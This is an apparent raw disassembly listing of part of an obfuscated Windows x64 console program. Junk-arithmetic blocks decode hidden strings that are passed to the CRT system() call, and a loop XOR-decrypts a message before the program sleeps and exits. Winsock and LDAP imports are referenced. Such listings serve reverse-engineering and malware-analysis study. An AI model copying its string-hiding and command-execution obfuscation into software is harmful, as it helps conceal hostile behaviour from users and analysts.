jmp 0x14004ff32
movzx edi, r11b
lea edx, [rdi - 0x77]
movzx eax, r8b
and al, dl
add al, al
movzx r14d, byte [rbp + r11 + 0x6a0]
sub r14b, al
add r14b, 0x41
add r14b, dl
add r14b, r8b
jmp 0x14004ffae
movzx edi, r11b
lea edx, [rdi + 0x63]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
sub cl, byte [rbp + r11 + 0x6a0]
add cl, 0x4b
jmp 0x14004fe6a
lea edx, [r11 + 0x5c]
movzx eax, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140050025
movzx edi, r11b
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add dil, 0x50
movzx eax, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x30
add dil, r8b
movzx eax, dil
mov byte [rbp + r11 + 0x6a0], al
inc r10
add rax, r10
sub r11, rax
mov qword [rsp + 0x70], rcx
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x55
add cl, r8b
mov byte [rbp + r11 + 0x6a0], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x6a0]
add rax, r10
add r11, rax
inc r11
jmp 0x14004f723
lea edx, [r11 - 0xc]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x14004ffeb
lea edx, [r11 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x14004ff6f
movzx edi, r11b
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14004ff25
movzx edi, r11b
lea edx, [rdi - 0x28]
mov ecx, recv
movzx eax, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
sub dil, 0x64
movzx eax, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x44
add dil, r8b
mov byte [rbp + r11 + 0x6a0], dil
inc r10
mov qword [rsp + 0x70], rcx
dec r11
inc r11
jmp 0x14004f723
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
inc r10
mov qword [rsp + 0x70], rcx
dec r11
inc r11
jmp 0x14004f723
movzx edi, r11b
lea edx, [rdi + 0x4a]
movzx eax, r8b
and al, dl
add al, al
movzx r14d, r8b
sub r14b, al
sub r14b, 6
add r14b, dl
add dil, 0x76
movzx eax, dil
and al, r8b
add al, al
movzx ecx, r14b
sub cl, al
sub cl, 0x3a
add cl, dil
add cl, r8b
mov byte [rbp + r11 + 0x6a0], cl
jmp 0x14004ffeb
lea ecx, [r11 + 0x70]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x10
add r9, r10
mov qword [rsp + 0x70], r14
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004f723
movabs rcx, 0x7de7b80260f7b508
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x38
add cl, dl
mov qword [rsp + 0x70], rcx
movzx eax, byte [rbp + r11 + 0x6a0]
add rax, r10
add r11, rax
inc r11
jmp 0x14004f723
add r11b, 0x62
movzx eax, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov qword [rsp + 0x70], rcx
jmp 0x14004f720
sub r11b, 0x78
movzx eax, r8b
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov qword [rsp + 0x70], rcx
jmp 0x14004f710
lea rdx, [rbp + 0x174b21d]
jmp 0x1400500a4
lea rdx, [rbp + 0x1147d0a]
jmp 0x1400500a4
lea rdx, [rbp + 0x6a0]
mov rcx, rsi
call fcn.140002380
lea rdx, [0x140004db0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x780], xmm0
xor edi, edi
mov qword [rbp + 0x790], rdi
mov qword [rbp + 0x798], rdi
mov r8d, Ordinal_45
lea rdx, str._Press_any_key_to_return_to_the_main_menu.
lea rcx, [rbp + 0x780]
call fcn.1400027a0
nop
lea rcx, [rbp + 0x780]
call fcn.14001a4a0
nop
mov r8, qword [rbp + 0x798]
cmp r8, 0xf
jbe 0x140050121
mov rdx, qword [rbp + 0x780]
lea rcx, [rbp + 0x780]
call fcn.14003dbe0
mov qword [rbp + 0x790], rdi
mov qword [rbp + 0x798], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x780], 0
mov dword [rbp + 0x5a0], 0x9e5fb2a6
mov dword [rbp + 0x5a4], 0xcfaac991
mov dword [rbp + 0x5a8], 0xe390669c
xor eax, eax
mov qword [rbp + 0x5ac], rax
mov dword [rbp + 0x5b4], eax
mov byte [rbp + 0x5b8], al
nop dword [rax]
mov r8, qword [0x140175488]
mov r9, qword [0x140175490]
nop
mov r11, rdi
cmp r11, 0x19
jae 0x140050c30
movzx r10d, byte [rbp + r11 + 0x5a0]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x140050c27
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400501d9
movabs rcx, 0xf9dd2db74289c2ce
add rcx, r11
mov rax, rcx
and rax, r10
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r10
add dl, 0x5e
mov qword [rsp + 0x58], rdx
jmp 0x140050210
lea rax, [r9 + 1]
cmp r8, rax
je 0x140050b9b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140050b01
cmp r8, rcx
je 0x140050aa5
lea rax, [r9 + 9]
cmp r8, rax
je 0x140050a59
nop dword [rax]
cmp r9, r11
ja 0x140050c1e
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14005023e
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7e
mov qword [rsp + 0x58], rdx
jmp 0x140050280
lea rax, [r9 + 1]
cmp r8, rax
je 0x140050a3c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140050a14
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400509f4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400509d5
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400509bb
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400507b3
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140050796
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14005076e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140050749
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14005072c
lea rax, [r9 + 4]
cmp r8, rax
je 0x140050712
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400506f3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400506d9
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400506ba
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400506a1
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140050290
lea r8, [r9 + 0x28]
lea r9, [r8 + 3]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140050bfb
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140050bd8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14005048e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14005046f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14005044d
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14005067f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140050631
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400505ef
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400505c2
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140050290
lea r8, [r9 + 0x28]
lea r9, [r8 + 3]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400505a8
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140050589
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14005056f
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140050550
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140050536
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140050518
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400504f3
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400504cb
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400504ad
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140050290
lea r8, [r9 + 0x28]
lea r9, [r8 + 3]
jmp 0x140050290
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x58], rdx
jmp 0x140050280
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7a
mov qword [rsp + 0x58], rdx
jmp 0x140050210
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x64
mov qword [rsp + 0x58], rdx
jmp 0x140050196
lea ecx, [r11 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x31
movzx edi, r11b
jmp 0x140050a73
lea ecx, [r11 + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x47
inc r9
mov qword [rsp + 0x58], rdx
dec r11
inc r11
jmp 0x140050183
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x5d
mov qword [rsp + 0x58], rdx
dec r11
inc r11
jmp 0x140050183
lea ecx, [r11 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x73
movzx edi, r11b
jmp 0x140050abf
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x77
jmp 0x140050ae1
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x61
mov qword [rsp + 0x58], rdx
jmp 0x140050ae9
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4b
jmp 0x140050b26
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x35
mov qword [rsp + 0x58], rdx
jmp 0x140050b56
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1f
jmp 0x140050bbc
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x58], rdx
mov byte [rbp + r11 + 0x5a0], dl
inc r11
jmp 0x140050183
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x58], rdx
cmp r9, 0x2a
jb 0x1400505df
movzx edi, r11b
lea ecx, [rdi - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 7
add cl, r10b
lea edx, [rcx + rcx]
jmp 0x140050a73
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x58], rdx
cmp r8, 0x2a
jae 0x140050972
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140050900
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1d
jmp 0x140050607
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x58], rdx
jmp 0x14005084b
lea ecx, [r11 - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
dec dl
jmp 0x140050bbc
lea ecx, [r11 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x15
mov qword [rsp + 0x58], rdx
jmp 0x140050b56
lea ecx, [r11 + 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2b
jmp 0x140050b26
lea ecx, [r11 - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x41
mov qword [rsp + 0x58], rdx
jmp 0x140050ae9
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x57
jmp 0x140050ae1
movzx edi, r11b
lea ecx, [rdi + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6d
jmp 0x140050abf
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7d
mov qword [rsp + 0x58], rdx
dec r11
inc r11
jmp 0x140050183
lea ecx, [r11 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x67
inc r9
mov qword [rsp + 0x58], rdx
dec r11
inc r11
jmp 0x140050183
movzx edi, r11b
lea ecx, [rdi - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x51
jmp 0x140050a73
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400507d8
lea ecx, [r11 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xb
mov qword [rsp + 0x58], rdx
jmp 0x14005084b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400507fb
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x65
jmp 0x140050bbc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140050823
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7b
mov qword [rsp + 0x58], rdx
jmp 0x140050b56
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140050846
lea ecx, [r11 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x43
jmp 0x140050ae1
mov rdx, qword [rsp + 0x58]
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x140050999
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14005087f
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x36
jmp 0x140050649
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400508a5
movzx edi, r11b
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4c
jmp 0x140050a73
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400508d6
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x62
inc r9
mov qword [rsp + 0x58], rdx
dec r11
inc r11
jmp 0x140050183
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14005064e
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140050ae1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140050923
lea ecx, [r11 + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x33
jmp 0x140050bbc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14005094b
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x49
mov qword [rsp + 0x58], rdx
jmp 0x140050b56
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14005060c
lea ecx, [r11 + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x75
jmp 0x140050ae1
movzx edi, r11b
lea edx, [rdi - 0x47]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, byte [rbp + r11 + 0x5a0]
sub cl, al
sub dl, 0xf
add dl, cl
add dl, r10b
jmp 0x140050abf
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x5a0]
lea edx, [r10 + rcx]
sub dl, 0x25
jmp 0x140050b26
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
jmp 0x140050bbc
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 2
mov qword [rsp + 0x58], rdx
jmp 0x140050ae9
movzx edi, r11b
lea edx, [rdi - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140050abf
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x58], rdx
dec r11
inc r11
jmp 0x140050183
movzx edi, r11b
lea edx, [rdi - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140050a73
movzx edi, r11b
lea edx, [rdi + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x68
add dl, cl
sub dil, 0x24
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 4
add r10b, dil
mov byte [rbp + r11 + 0x5a0], r10b
inc r9
mov qword [rsp + 0x58], rdx
dec r11
inc r11
jmp 0x140050183
movzx edi, r11b
lea edx, [rdi + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x26
add dl, cl
sub dil, 0x6a
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x1a
add r10b, dl
add r10b, dil
mov byte [rbp + r11 + 0x5a0], r10b
mov qword [rsp + 0x58], rdx
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140050183
movabs rdx, 0xddf2a0b93f9209fc
add rdx, r11
movzx r10d, dil
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, dil
add dl, cl
mov qword [rsp + 0x58], rdx
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x30
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x5a0], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 0x2d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x3b
add r10b, cl
mov byte [rbp + r11 + 0x5a0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r9
add r11, rax
inc r11
jmp 0x140050183
movabs rcx, 0x9b39a96296e1da88
add rcx, r11
movzx eax, cl
and al, dil
mov edx, 0x24
sub dl, al
add dl, dl
add dl, cl
add dl, dil
mov qword [rsp + 0x58], rdx
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r9
add r11, rax
inc r11
jmp 0x140050183
sub r11b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4e
mov qword [rsp + 0x58], rdx
xor edi, edi
jmp 0x140050180
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
mov qword [rsp + 0x58], rdx
xor edi, edi
jmp 0x140050170
lea rcx, [rbp + 0x175b50d]
jmp 0x140050c37
lea rcx, [rbp + 0x61c0ea]
jmp 0x140050c37
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov r8, qword [rbp + 0x598]
cmp r8, 0xf
jbe 0x140050c5e
mov rdx, qword [rbp + 0x580]
lea rcx, [rbp + 0x580]
call fcn.14003dbe0
xor edi, edi
mov byte [rbp + 0x580], dil
mov qword [rbp + 0x598], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x590], rdi
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, ntohl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_________________________________________________________________n________________________________________________________________n_________________________________________________________n_________________________________________________________n____________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n__________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14004bf24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp - 0x78]
call fcn.140009430
mov r10, rax
cmp byte [rax + 0x2f], 0
je 0x140050e71
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140050e3b
movdqa xmmword [rbp + 0x60], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x30
jl 0x140050d50
jmp 0x140050e71
mov r9, r10
nop
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x38
movzx eax, sil
sub al, r8b
add al, 0x35
xor byte [r9], al
inc esi
lea r9, [r9 + 1]
cmp esi, 0x30
jl 0x140050e40
mov rdx, r10
mov rcx, r11
call fcn.140002380
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x580]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 1
jne 0x140050ed1
mov r8, rdi
lea rdx, [0x1401012cc]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140050ed1
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x580]
call fcn.140008190
nop
lea rcx, [rbp + 0x7e0]
call fcn.140008190
nop
lea rcx, [rbp + 0x460]
call fcn.1400095a0
nop
lea rcx, [rbp + 0x660]
call fcn.140008190
nop
lea rcx, [rbp + 0x8e0]
call fcn.140008190
nop
movzx edx, byte [rbp - 8]
lea rcx, [rbp]
call fcn.14003efc0
nop
lea rcx, [rbp + 0x800]
call fcn.140008190
nop
lea rcx, [rbp + 0x7a0]
call fcn.140008190
nop
lea rcx, [rbp + 0x9a0]
call fcn.140008190
nop
lea rcx, [rbp + 0x700]
call fcn.140008190
nop
lea rcx, [rbp + 0x7c0]
call fcn.140008190
nop
cmp dword [rbp - 0x60], 0
je 0x140050f6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
lea rcx, [rbp + 0xb70]
call fcn.140007f50
lea rcx, [rbp + 0xb50]
call fcn.140008190
xor eax, eax
jmp 0x140048a32
mov dword [rbp - 0x48], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp - 0x60], edi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call fcn.14003eb40
nop
call fcn.14003eb40
nop
call fcn.14003eb40
nop
call fcn.14003eb00
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3